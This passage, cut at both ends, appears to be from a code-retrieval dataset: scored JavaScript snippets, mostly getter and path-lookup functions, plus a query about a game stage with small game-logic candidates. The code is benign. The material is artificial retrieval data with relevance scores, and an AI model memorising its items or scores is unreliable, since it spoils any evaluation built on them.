null;\n}", "title": "" }, { "docid": "570495b9d15e4d9c41413dd83361a5a6", "score": "0.6151695", "text": "function getValueFromObject(str_property, object){\n // Clean white spaces\n str_property=str_property.trim();\n\n // set the default value for the object\n var value = null;\n\n // We protect the code to throw an error when trying to access a property of undefined\n try {\n // Iterates through the dot notation checking if the object has the property\n value = str_property.split('.').reduce(function(props, item){\n return props.hasOwnProperty(item) ? props[item] : null;\n }, object);\n } catch(e){\n // We catch errors when trying to access properties for undefined objects\n console.warn(\"Tried to read a property of undefined, str_property: \" + str_property);\n if(typeof object === 'undefined'){\n console.warn(\"The Object is undefined. Check the Object passed to fill the data\");\n }\n value = null;\n }\n\n return value;\n }", "title": "" }, { "docid": "0810ab46bca3598ddd8b8ca631f76381", "score": "0.6108524", "text": "function getFieldValue(object, fieldName) {\n \t var d = defFromValue(object);\n \t if (d) {\n \t var field = d.allFields[fieldName];\n \t if (field) {\n \t return field.getValue(object);\n \t }\n \t }\n \t return object && object[fieldName];\n \t }", "title": "" }, { "docid": "b36576fc7a2466d4b7322e9c19976ff3", "score": "0.6092525", "text": "function extractObject(divid) {\n var base = $('#' + divid);\n var rootnode = base.children('div[data-role=\"value\"]:first');\n var jsObject = parseNode(rootnode);\n return jsObject;\n }", "title": "" }, { "docid": "58da4a4c4986c80a96c8956fab5aa32c", "score": "0.6066391", "text": "getValue() {\r\n return this.value_;\r\n }", "title": "" }, { "docid": "a7f3d982fe3f6ccd8a9e6788a792616f", "score": "0.606455", "text": "function getFieldValue(object, fieldName) {\n\t\t \t var d = defFromValue(object);\n\t\t \t if (d) {\n\t\t \t var field = d.allFields[fieldName];\n\t\t \t if (field) {\n\t\t \t return field.getValue(object);\n\t\t \t }\n\t\t \t }\n\t\t \t return object && object[fieldName];\n\t\t \t }", "title": "" }, { "docid": "c8fdcf329baefc41eb059677fabf5d99", "score": "0.6063978", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object && object[fieldName];\n }", "title": "" }, { "docid": "c8fdcf329baefc41eb059677fabf5d99", "score": "0.6063978", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object && object[fieldName];\n }", "title": "" }, { "docid": "c8fdcf329baefc41eb059677fabf5d99", "score": "0.6063978", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object && object[fieldName];\n }", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "f1af59e4dc7456e463a99003be8a83e6", "score": "0.6054622", "text": "function valueObject(value, key) {\n return { value: value[key] };\n}", "title": "" }, { "docid": "d55cf3f71ec997e5f55b16828003aff6", "score": "0.60461116", "text": "getValue(owner){\n return this._value;\n }", "title": "" }, { "docid": "cd2eef4057c539d5d64c402bb724d797", "score": "0.60406804", "text": "function getValueByPath(obj, path) {\n var value = path.split('.').reduce(function (o, i) {\n return o[i];\n }, obj);\n return value;\n}", "title": "" }, { "docid": "e3cf91bb7dc90c755bdb68a814a13941", "score": "0.6034944", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object[fieldName];\n}", "title": "" }, { "docid": "e3cf91bb7dc90c755bdb68a814a13941", "score": "0.6034944", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object[fieldName];\n}", "title": "" }, { "docid": "e3cf91bb7dc90c755bdb68a814a13941", "score": "0.6034944", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object[fieldName];\n}", "title": "" }, { "docid": "e3cf91bb7dc90c755bdb68a814a13941", "score": "0.6034944", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object[fieldName];\n}", "title": "" }, { "docid": "e3cf91bb7dc90c755bdb68a814a13941", "score": "0.6034944", "text": "function getFieldValue(object, fieldName) {\n var d = Def.fromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n\n return object[fieldName];\n}", "title": "" }, { "docid": "be09bc6daaa62dbb8a0ff624a6d0d1cf", "score": "0.6018792", "text": "get value() {\n this._logger.trace(\"get value\");\n\n return this._value;\n }", "title": "" }, { "docid": "e26710509dd0c9853357b8366354b08a", "score": "0.601739", "text": "function getFieldValue(object, fieldName) {\n\t var d = defFromValue(object);\n\t if (d) {\n\t var field = d.allFields[fieldName];\n\t if (field) {\n\t return field.getValue(object);\n\t }\n\t }\n\t return object && object[fieldName];\n\t }", "title": "" }, { "docid": "dec265ef755300ad0dfbf21533544785", "score": "0.5996747", "text": "function getFieldValue(object, fieldName) {\n var d = defFromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n return object && object[fieldName];\n }", "title": "" }, { "docid": "dec265ef755300ad0dfbf21533544785", "score": "0.5996747", "text": "function getFieldValue(object, fieldName) {\n var d = defFromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n return object && object[fieldName];\n }", "title": "" }, { "docid": "dec265ef755300ad0dfbf21533544785", "score": "0.5996747", "text": "function getFieldValue(object, fieldName) {\n var d = defFromValue(object);\n if (d) {\n var field = d.allFields[fieldName];\n if (field) {\n return field.getValue(object);\n }\n }\n return object && object[fieldName];\n }", "title": "" }, { "docid": "972ab145f623c7d9845bf460550e8ccf", "score": "0.59887457", "text": "getValue(path) {\n const val = this.get(path);\n if (!val || val.type !== 'Value') {\n throw Error('Can only call getValue for an ObservableValue');\n }\n return val.get();\n }", "title": "" }, { "docid": "3909feb12c271641921d54bc21b007eb", "score": "0.5984716", "text": "getValue() {\n return this.value_;\n }", "title": "" }, { "docid": "28bb9ebee7ecbf866fdd5cd6429fe231", "score": "0.5973689", "text": "_val() {\n if(!this.value) {\n return;\n }\n\n if(typeof this.value == 'object' &&\n this.value.prefetch_value !== undefined) {\n return this.value.prefetch_value;\n }\n\n return this.value;\n }", "title": "" }, { "docid": "4d36751ad61e9e181fa2d9e34906f6bc", "score": "0.59727174", "text": "function $value(id){\r\n\tvar el = $id(id);\r\n\tif(el != null) return el.value;\r\n}", "title": "" }, { "docid": "0338415cf7065ddf06f74547a55d6586", "score": "0.5951831", "text": "function getValueAtPath(object, path) {\r\n const pathParts = path.split('.');\r\n let subObject = object;\r\n for (const part of pathParts) {\r\n subObject = subObject === null || subObject === void 0 ? void 0 : subObject[part];\r\n if (!subObject) {\r\n return;\r\n }\r\n }\r\n return subObject;\r\n}", "title": "" }, { "docid": "797b499b22dea62b82e57a49b721ffd4", "score": "0.5945023", "text": "function getFieldValue(obj, name) {\n try {\n return obj[name];\n } catch (ex) {\n return undefined;\n }\n}", "title": "" }, { "docid": "99ccb02f9ff8eeb7bed9b26b5ca48d50", "score": "0.5941859", "text": "function getValueByPath(obj, path) {\n const value = path.split('.').reduce((o, i) => o ? o[i] : null, obj)\n return value\n}", "title": "" }, { "docid": "f4b849aa112605ae2477772eb818c3db", "score": "0.59299314", "text": "function getValueByPath(obj, path) {\n var value = path.split('.').reduce(function (o, i) {\n return o ? o[i] : null;\n }, obj);\n return value;\n}", "title": "" }, { "docid": "37b9990a0b5c5e13d5ca1b3413fbc7a6", "score": "0.59170413", "text": "function getValue() {\n\t\t\treturn _observing ? _value : _input.val();\n\t\t}", "title": "" }, { "docid": "3b85406a1d40d0cbe18c6d547f1adced", "score": "0.5905829", "text": "function extractFieldValueFtn(obj, field) {\n $log.info('from object : ' + JSON.stringify(obj));\n if(typeof obj.getField === \"function\") {\n return obj.getField(field); \n } else {\n return 0;\n }\n }", "title": "" }, { "docid": "dc580e0c5a89b8a8e5d925d2ff5aa6c2", "score": "0.58969027", "text": "extractValueWithPath (obj, path) {\n return path.split('.').reduce((currentValue, key, index) => {\n if (index > 0 && currentValue === undefined) {\n throwError(`A tag is extracting with path \"${path}\", but it is not valid`)\n }\n\n return currentValue[key]\n }, obj)\n }", "title": "" }, { "docid": "fd724553468a7263fa4cf3420c483f2d", "score": "0.5892937", "text": "get value() {\n\t\treturn this._value;\n\t}", "title": "" }, { "docid": "f31cf494a7658fd79ec34c854a4b6287", "score": "0.5877436", "text": "function getValueByPath(o, path) {\n for (var i = 0,len = path.length;\n o != undef && i < len;\n i++) {\n o = o[path[i]];\n }\n return o;\n }", "title": "" }, { "docid": "4ca7c41a525f3a3c2ba7a63f6a491b40", "score": "0.5876854", "text": "get value() {\n return this.__value.get();\n }", "title": "" }, { "docid": "115bb4fdc221eaa1b2815db1752138fc", "score": "0.5855221", "text": "function getQuantityValue(ob) {\n\n if (typeof ob != 'undefined' &&\n typeof ob.valueQuantity != 'undefined' &&\n typeof ob.valueQuantity.value != 'undefined') {\n\n return ob.valueQuantity.value;\n\n } else {\n return undefined;\n }\n }", "title": "" }, { "docid": "f2df2934756bf4f2ccc2d04474185326", "score": "0.5843771", "text": "function getMessageVal(obj) {\n\t\t\t\treturn obj.d[1];\n\t\t\t}", "title": "" }, { "docid": "6388355f71e2908779821e9deb4bae84", "score": "0.5832405", "text": "getValue(owner){\n return this.valueGetter(owner, this);\n }", "title": "" }, { "docid": "87cdf867010fd91a209025091807b2f6", "score": "0.58207756", "text": "function getValue(obj, prop, elseValue) {\n if(obj!= undefined && obj[prop] != undefined && obj != null) {\n return obj[prop];\n } else {\n return elseValue;\n }\n}", "title": "" }, { "docid": "5da2860042c406c23301ed9975ec48c1", "score": "0.5814928", "text": "getValue() {\n\t \treturn this.value;\n\t }", "title": "" }, { "docid": "5da2860042c406c23301ed9975ec48c1", "score": "0.5814928", "text": "getValue() {\n\t \treturn this.value;\n\t }", "title": "" }, { "docid": "5da2860042c406c23301ed9975ec48c1", "score": "0.5814928", "text": "getValue() {\n\t \treturn this.value;\n\t }", "title": "" }, { "docid": "17d07c6a9e55331a088d1e3788b6805a", "score": "0.58010876", "text": "get() {\n const value = this.properties[name].get_value();\n return value;\n }", "title": "" }, { "docid": "e84ef2a0317a2b895d36f27bcedf7005", "score": "0.57721484", "text": "function getValue(value) {\n return TYPES[value.type](value);\n}", "title": "" }, { "docid": "e84ef2a0317a2b895d36f27bcedf7005", "score": "0.57721484", "text": "function getValue(value) {\n return TYPES[value.type](value);\n}", "title": "" }, { "docid": "849596baf6d9aa4b3309cc478dbfd07a", "score": "0.5762674", "text": "getValue() {\n return this.value;\n }", "title": "" }, { "docid": "849596baf6d9aa4b3309cc478dbfd07a", "score": "0.5762674", "text": "getValue() {\n return this.value;\n }", "title": "" }, { "docid": "a81587f71fb62db3bd5c5620c244eb76", "score": "0.57554847", "text": "function valueFromPath(o, path = []) {\n return path.reduce((ret, seg) => isObject(ret) && ret[seg], o);\n}", "title": "" }, { "docid": "933d306d309c582ddd31906778f9466c", "score": "0.57366043", "text": "function extractVal(val, thisObj, d, i) {\n if (typeof(val) === \"function\") {\n return val.call(thisObj, d, i);\n }\n // val is a constant\n return val;\n }", "title": "" }, { "docid": "60ddad4a6942e29ca73f6eb0f647202d", "score": "0.5733444", "text": "get value() {\n return this._value;\n }", "title": "" }, { "docid": "60ddad4a6942e29ca73f6eb0f647202d", "score": "0.5733444", "text": "get value() {\n return this._value;\n }", "title": "" }, { "docid": "60ddad4a6942e29ca73f6eb0f647202d", "score": "0.5733444", "text": "get value() {\n return this._value;\n }", "title": "" }, { "docid": "60ddad4a6942e29ca73f6eb0f647202d", "score": "0.5733444", "text": "get value() {\n return this._value;\n }", "title": "" }, { "docid": "fb6a9dfd17ab05660cb653bb77469e4c", "score": "0.5728786", "text": "function getValueByPath(obj, path) {\n return path.split('.').reduce(function (o, i) {\n return o ? o[i] : null;\n }, obj);\n}", "title": "" }, { "docid": "51c9b6798a94862ab9eeacba3a4ba83a", "score": "0.5726989", "text": "getValueOfInput(input) {\n if (!input || typeof input !== 'object') {\n return input\n } else if (input.type === 'node') {\n return input.node.output\n } else if (input.type === 'value') {\n return input.value\n }\n }", "title": "" }, { "docid": "53b1fb4263c9f3543b1299a5ed6d36f2", "score": "0.572458", "text": "static valueFromKeyOrPath(keyOrPath, obj){\n if( obj == null ){\n return obj;\n }\n if( keyOrPath.length === 0 ){\n return obj;\n }\n if( obj.hasOwnProperty(keyOrPath) ){\n return obj[keyOrPath];\n }\n\n return ObjectUtil.accessObject(obj, keyOrPath.split('.'))\n }", "title": "" }, { "docid": "025bd01389437041e773644daec6d3dc", "score": "0.5719829", "text": "function getKeyValue(obj) {\n for (var key in obj) {\n if (obj.hasOwnProperty(key)) {\n return { key: key, value: obj[key] };\n }\n }\n }", "title": "" }, { "docid": "f583394f2c7f8b2b7862afdbc02c268f", "score": "0.5712321", "text": "function getValue(obj, prop) {\n var tmp = obj[prop]; if (tmp !== undefined) return tmp\n var segs = prop\n if (!Array.isArray(prop)) segs = prop.split('.')\n var len = segs.length\n var i = -1\n while (obj && (++i < len)) obj = obj[segs[i]]\n return obj\n }", "title": "" }, { "docid": "3d2eeddc63f2a8251e5e112a7fde05e8", "score": "0.57084197", "text": "get value() {\n\t\treturn this.__value;\n\t}", "title": "" }, { "docid": "60d19e3234dfdb04039a180b5f5e20b4", "score": "0.5697452", "text": "get value() {\n return core_1.Token.asString(this._resource.getAtt('Value'));\n }", "title": "" }, { "docid": "60d19e3234dfdb04039a180b5f5e20b4", "score": "0.5697452", "text": "get value() {\n return core_1.Token.asString(this._resource.getAtt('Value'));\n }", "title": "" }, { "docid": "b1f774bf0aea19ab182da770993e70c2", "score": "0.5689601", "text": "function valueize(v) { return isObject(v) ? v.valueOf() : v; }", "title": "" }, { "docid": "2291deeed6d3f398689f84a370b9bfdd", "score": "0.5686612", "text": "get value() {\r\n return this._value;\r\n }", "title": "" }, { "docid": "90f96cd72c8159719df9c1a04e63ee55", "score": "0.5685664", "text": "function accessObject(ObjName, val){\n \n return ObjName[val];\n}", "title": "" }, { "docid": "cce2ca21422b566bb783d7e244176bdf", "score": "0.56737924", "text": "function getValue (value) {\n return TYPES[value.type](value)\n}", "title": "" }, { "docid": "15b9fba8da7e2a640abce4084d2c5fa5", "score": "0.566822", "text": "get value() {\n return this._observation.value;\n }", "title": "" }, { "docid": "4a2a283df36e21fd2218be842a93af5c", "score": "0.56603116", "text": "function IteratorValue ( iterResult ) {\n if ( Type(iterResult) !== 'object' ) {\n throw TypeError();\n }\n return iterResult.value;\n }", "title": "" }, { "docid": "2980c7b9e0144a01871bf6b78e3aed49", "score": "0.56488144", "text": "function get(object, name) {\n return object[name];\n}", "title": "" }, { "docid": "0459b7c3311727c9cff24ca4f2efbe71", "score": "0.56480134", "text": "valueOf() {\n return this._value;\n }", "title": "" }, { "docid": "28f2dc01b60a7c10a73bec41d60eb86a", "score": "0.5641973", "text": "function getValue(token) {\n if (token.value) {\n return token.value;\n } else {\n return token;\n }\n }", "title": "" }, { "docid": "7edb6902e095bc579ebde3c13d2ebfe3", "score": "0.56416106", "text": "get value () {\n\t\treturn this._value;\n\t}", "title": "" } ]
61f3d0b9ceb85fb728fe1d03f8938a55
THIRD STAGE (2) => For GAME
[ { "docid": "5697aac26a48c6e215554ec9bb9c8b83", "score": "0.0", "text": "function callbackForGame() {\n // display the first image if there's any\n if (collectedData.hasImageToDisplay()){\n\n // render the first image\n SyncUtils.imageDataToView();\n let score = collectedData.Scores();\n EventUtils.attachGameEventsToSquares(score);\n\n\n $(\"#prev\").on({\n click: () => {\n if (collectedData.previous()) {\n SyncUtils.imageDataToView();\n EventUtils.attachGameEventsToSquares(score);\n }\n ButtonUtils.updateNavBtnState();\n }\n });\n $(\"#next\").on({\n click: () => {\n // move the cursor to the next image and render\n if (collectedData.next()) {\n SyncUtils.imageDataToView();\n EventUtils.attachGameEventsToSquares(score);\n }\n\n // update the current states of all buttons\n ButtonUtils.updateNavBtnState();\n }\n });\n // same thing as attach events to $(\"#jump\")\n EventUtils.attachJumpEventsToBtn();\n\n // same thing as attach events to $(\"#fast-foward\")\n EventUtils.attachFastForwardEventsToBtn();\n\n // same thing as attach events to $(\"#fast-backward\")\n EventUtils.attachFastBackwardEventsToBtn();\n\n // update properties of buttons\n ButtonUtils.updateNavBtnState();\n \n \n \n } else {\n window.location.replace(\"html/error.html\");\n }\n }", "title": "" } ]
[ { "docid": "3ba7ff0c5bfccdd10712362ede23bb4e", "score": "0.6909725", "text": "function twoOuttaThree() {\n\tif (win === 2) {\n\t\tconsole.log(\"You've won, 2 out of 3 games.\");\n\t\twin = 0;\n\t\ttie = 0;\n\t\tloss = 0;\n\t}\n}", "title": "" }, { "docid": "42ed1190533f0d7c7e7cf3eec1f0bafb", "score": "0.59910256", "text": "function playAgain()\n{\n //handle the last game results\n if (myScene.game.winner == 1)\n player1Score++;\n else if (myScene.game.winner == 2)\n player2Score++;\n\n //create new game instance\n play();\n}", "title": "" }, { "docid": "1b21a9dc94f339c3204f019ca8d5cb51", "score": "0.5979777", "text": "function skip() {\n\n if (currentTurn === 4 && gs === GAMESTATE.RIVER) {\n backgroundColor = menuBackgroundColor;\n gs = GAMESTATE.GAMEOVER;\n } else if (gs === GAMESTATE.RIVER) {\n gs = GAMESTATE.BEAVER;\n backgroundColor = beaverBackgroundColor;\n startTimer(beaverTimeLimit);\n gs = GAMESTATE.BEAVER;\n currentTurn++;\n } else if (gs === GAMESTATE.BEAVER) {\n backgroundColor = riverBackgroundColor;\n startTimer(riverTimeLimit);\n gs = GAMESTATE.RIVER;\n } else if (gs === GAMESTATE.GAMEOVER) {\n gs = GAMESTATE.TITLESCREEN;\n currentTurn = 1;\n } else if (gs === GAMESTATE.TITLESCREEN) {\n startTimer(beaverTimeLimit);\n backgroundColor = beaverBackgroundColor;\n gs = GAMESTATE.BEAVER;\n }\n\n console.log(gs);\n}", "title": "" }, { "docid": "6213ca806f10a4d64aa1ee5f67085bff", "score": "0.59753186", "text": "function draw() {\n if (currentScene === 0){\n scene0();\n if (key == 'x'){\n currentScene = 1\n }\n}\n\nif (currentScene === 1){\n scene1();\n}\n\nif (currentScene === 2){\n scene2();\n }\n \n//here is some code i decided not to use but not to scrap for now\n// if (random(1) < 0.03) {\n// trains.push(new Dolphin ());\n// }\n \n// if (random(1) < 0.02) {\n// coins.push(new Coin());\n// } \n// if (frameCount % 20 == 0 && score > 0) {\n// score++;\n// }else{\n// score++;\n// }\n// background(bImg);\n// text('Score: '+(score),20,30);\n \n// for (let t of trains) {\n// t.move(); \n// t.show();\n// if (unicorn.hits(t)) {\n// console.log('Game Over');\n// noLoop();\n// }\n// }\n// for (let c of coins) {\n// c.move();\n// c.show();\n// if (unicorn.hits(c)) {\n// score = score+100;\n// c.y = 400;\n// }\n// }\n// unicorn.show();\n// unicorn.move();\n}", "title": "" }, { "docid": "04f1221dff64a183431da50b4ed895dd", "score": "0.5949296", "text": "function gameOfThree(number){\n for(var i=number; i>=1; i--){\n if(number%3 === 0){\n console.log(number, 0)\n number = number / 3\n }else if ((number-1) %3 === 0){\n console.log(number, -1)\n number = (number-1) / 3\n }else if ((number+1) % 3 === 0){\n console.log(number, 1)\n number = (number+1) / 3\n }\n if(number === 1){\n console.log(1)\n break;\n }\n }\n}", "title": "" }, { "docid": "a98ac34f3310223740ad922117fac13a", "score": "0.59433204", "text": "function third_extd(e) {\r\n\tvar count = parseInt(e);\r\n\tcount++;\r\n\tif(count <= 3) {\r\n\t\tdocument.getElementById('animation').innerHTML = \"<img class='third_1' src='assets/images/third_images/367_third\"+count+\".png'/>\";\r\n\t} else {\r\n\t\tdocument.getElementById('animation').innerHTML = \"\";\r\n\t\tcount = 0;\r\n\t}\r\n\t\tthird(count);\r\n}", "title": "" }, { "docid": "aa23c4db0997546afcff968295e052a7", "score": "0.59430337", "text": "function test() {\n\t\tplayerMoney[count] = playerMoneyDefault;\n\t\tGameC[count] = \"first\";//indicate it's the first game, has no previous betting record\n\t\tplayCount = 1;\n\t\twinCount[1] = 0;\n\t\tloseCount[1] = 0;\n\t\twinStreak = 0;\n\t\tloseStreak = 0;\n\t\twhile ((playerMoney[count] > 0) && (playCount-1 < gamesPlayed) && (playerMoney[count] < maxMoney)){\n\t\t\tmoneyRecord[playCount] = playerMoney[count]\n\t\t\tplayerBet();//Player places bet\n\t\t\tGame();//Game playered\n\t\t\tplayCount = playCount + 1;\n\t\t}\n\t}", "title": "" }, { "docid": "0053e6f52c4399fe4a03efe184ea26b9", "score": "0.5915172", "text": "function checkForLastTwo() {\r\n for (let i = 0; i < gameCards.length; i++) {\r\n if (!(gameCards[i].classList.contains('guessed'))) {\r\n lastPair.push(i);\r\n }\r\n }\r\n if (lastPair.length == 2) {\r\n gameCards[lastPair[0]].style.backgroundColor = 'green';\r\n gameCards[lastPair[1]].style.backgroundColor = 'green';\r\n }\r\n lastPair.pop();\r\n lastPair.pop();\r\n}", "title": "" }, { "docid": "b432a3eaf411cd45089699e5c6640205", "score": "0.5893466", "text": "function newGame() {\n\n optionsScreen.style.display = 'none';\n softBtnSound.play();\n if (difficulty == 1) round = 0; // will start at 0+1 = Round 1\n if (difficulty == 2) round = 3; // will start at 3+1 = Round 4\n if (difficulty == 3) round = 6; // will start at 6+1 = Round 7\n nextRound();\n\n}", "title": "" }, { "docid": "48e7ea0db48b11b842f9fc725be6e92a", "score": "0.58817637", "text": "function analyzeBackToBackGames(team, games) {\n\n}", "title": "" }, { "docid": "eff2af4f40b218c56c46c664d1bd266c", "score": "0.58702266", "text": "function playerLife() {\n if (diminish_timebar == 0 && number_life>0) {\n number_life--;\n gameTimer();\n time();\n hideLife(number_life); \n }\n if(diminish_timebar < 3 && number_life ==0) {\n level.innerHTML = \"GAME OVER ! Your score is : \" + score;\n }\n}", "title": "" }, { "docid": "fd848d94d32ae5c4ba7fe30866f1917b", "score": "0.58634114", "text": "function wicket(){\n wickets++\n batsMen[currentBatsMen[0]][1] = \"Out\"\n currentBatsMen[0] = team[0]\n team.shift(); \n currentBallScore = 0;\n overEnd(); \n}", "title": "" }, { "docid": "9a0589a5d7d4c8a3f9b831a438e5c667", "score": "0.58375823", "text": "CurrentPlay(currentSquare, PreviousSquare){\n for(let i =0 ; i < currentSquare.length ; i++){\n if(currentSquare[i] !== PreviousSquare[i])\n { \n return currentSquare[i] + '( ' + parseInt(i/3) + ', ' + i%3 + ')';\n }\n }\n \n\n }", "title": "" }, { "docid": "20ba751be75ae597c43656a1efb4f03e", "score": "0.5821155", "text": "function nextScore(snake) {\n return (snake.len - 3) * 10;\n }", "title": "" }, { "docid": "def15e8b842674346fbec079c0bdb6e1", "score": "0.5815097", "text": "function GameOver(){\n if(life <= 0 ){\n Loser();\n END_GAME = true;\n }\n}", "title": "" }, { "docid": "395bd7b06e8c0bf08df9a92367f31661", "score": "0.5812729", "text": "function winGame() {\n if (frogArea[currentIndex].classList.contains('lilypad')) {\n frogArea[currentIndex].classList.remove('frog')\n frogArea[105].classList.add('frog')\n currentLevel++\n currentIndex = 105\n currentLevelDisplay.textContent = currentLevel\n timingIncrement()\n }\n }", "title": "" }, { "docid": "31ca34488dc4b5fcd06aee6797d84e93", "score": "0.5783466", "text": "function prev() {\n if (tirada >= 1) {\n tirada--;\n dhamaan(tirada);\n playOn();\n } else {\n tirada = all_hees.length;\n dhamaan(tirada);\n playOn();\n\n }\n}", "title": "" }, { "docid": "8f65cd8ffe0cf1bf0aa611f4df8f1846", "score": "0.5782536", "text": "function gameOver(aliens, num) {\r\n stopGame();\r\n finalScore();\r\n }", "title": "" }, { "docid": "7e490159bf0163d2a1c017208b89aafe", "score": "0.57637227", "text": "function sceneThree() {\nvar tl = gsap.timeline();\ntl.fromTo(\"#After_comes\", {opacity:0}, {opacity:1, duration:2});\ntl.fromTo(\"#Sally_Side_3\", {x:-200}, {x:0, duration:4}, \"<\");\ntl.fromTo(\"#sally_talks\", {opacity:0}, {opacity:1, duration:2});\ntl.to(\"#Sally_Side_3\",{y:-5, duration:.3, yoyo:true,repeat:1}, \"<\");\ntl.to(\"#Teacher-2\",{y:-5, duration:.3, yoyo:true,repeat:1});\ntl.to(\"#Sally_Side_3\", {opacity:0, duration:.5});\ntl.fromTo(\"#Sally_Side_back\", {opacity:0}, {opacity:100, duration:.5}, \"<\");\ntl.to(\"#Sally_Side_back\", {x:-200, duration:4});\nreturn tl;\n}", "title": "" }, { "docid": "d372fd7d967e08939ed8799a6bc5baed", "score": "0.575873", "text": "function takeTurns(){ \n\t\t\tself.gameState.turn++;\n\t\t\tif (self.gameState.turn % 2 === 0){\n\t\t\t\treturn \"O\";\n\t\t\t} else {\n\t\t\t\treturn \"X\";\t\n\t\t\t}\n\t\t\tself.gameState.$save(self.gameState.turn);\n\t\t\t\n\t\t}", "title": "" }, { "docid": "dae78f1c3c91c30cf4fa7ecb5859fd17", "score": "0.5757325", "text": "winGame() {\n this.games++;\n this.points = 0;\n }", "title": "" }, { "docid": "1047a6e3038fe83847b8b221c8d9e874", "score": "0.57468444", "text": "function gameState () {\n let startGame = false\n if (gamePhase == 0 && !gameOver) {\n console.log('Phase 1 Tutorial')\n gamePhase++\n } else if (gamePhase == 1 && !gameOver) { // Tutorial Phase ie:1\n if (firstClick) {\n console.log('Phase 2 Start')\n startGame = true\n gamePhase++\n } \n } else if (gamePhase == 2 && gameOver) { // Game Phase ie:2\n console.log('Phase 3 Game Over EM')\n gamePhase++\n } else if (gamePhase == 3 && gameOver) { // End Modal Phase ie:3\n if (ctaClicked) {\n console.log('Phase 4 Return Modual')\n returnModual() // call RM\n gamePhase++\n }\n } else { // Return Modal Phase ie:4\n //console.log('Return Modual')\n }\n} // END UPDATE //////////////////////////////////////////////////////////////////////", "title": "" }, { "docid": "bfb178abb8b6c569eaf0705688dca889", "score": "0.5734175", "text": "function streaks(){ \n\n\tstreak++;\n\twriteout (\"streakcounter\", streak);\n}", "title": "" }, { "docid": "7f40281af69cceed62d4ce3da3b12f8f", "score": "0.5709888", "text": "function newGame() {\n document.body.innerHTML = \" \"\n count = 1\n game = true\n player1Score = 0\n player2Score = 0\n setup()\n}", "title": "" }, { "docid": "a1a79b3b8584a7171e768312e2b6b3d6", "score": "0.57084405", "text": "function gameOver() {}", "title": "" }, { "docid": "7355d31878b0de22ac44742a6595e412", "score": "0.5702966", "text": "function backGroundThree() {\n background(0, 0, 0);\n fill(255, 0, 0);\n rect(windowWidth - 50, 0, 50, 50);\n fill(255);\n textSize(30);\n text(\"these are the rules\", 10, 50);\n text(\"Player Combat works like dice rolls.\", 10, 70);\n //Unit movement works depending on unit, tech, and number of squares moved.\n //There are four large colonizing european nations.\n //There are 58 provinces in total and each province counts as a certain amount of score.\n //Gold, units, provinces, resources, all count towards the end score.\n //The end score determines who wins the game.\n //There are many ways to win the game, from colonizing rapidly\n //To colonizing late and conquering your opponents.\n //The game is meant to be a constant struggle and colonies can flip loyalty at any time.\n //You spend gold and resources to gain units which help you conquer others.\n //The game lasts 100 turns, from the 1700s till 1800.\n //To colonize a province, simply --------------\n //To move units, do ----------------\n //To attack, select your own units, and then select an enemy unit within range.\n //The dice rolls are based on chance, however, some units will have higher rolls than others based on cost.\n //There are two types of units, one unit that can only move on land, and others that can only move on water.\n //There will be units that can transport land units over water.\n //The places that are blacked out are either uncolonizable countries, or future countries that will be added to the game.\n //\n\n //the exit button\n if (windowWidth > mouseX && windowWidth - 50 < mouseX && 50 > mouseY && 0 < mouseY && mouseIsPressed) {\n gameState = 1;\n }\n}", "title": "" }, { "docid": "048ea80308eed8538022c41f14220ce6", "score": "0.56992847", "text": "function backStab(){\n \n if(turn==1){backstap1=true;}\n if(turn==2){backstap2=true;}\n actionsChoosen++; //Let the system know the player has choosen an action\n \n }", "title": "" }, { "docid": "db44ca9765abcd6768c8872686084d6f", "score": "0.56924856", "text": "function createThirdScene() {\nmakeRect(0,0,500,200,\"black\")\nmakeRect(100, 60, 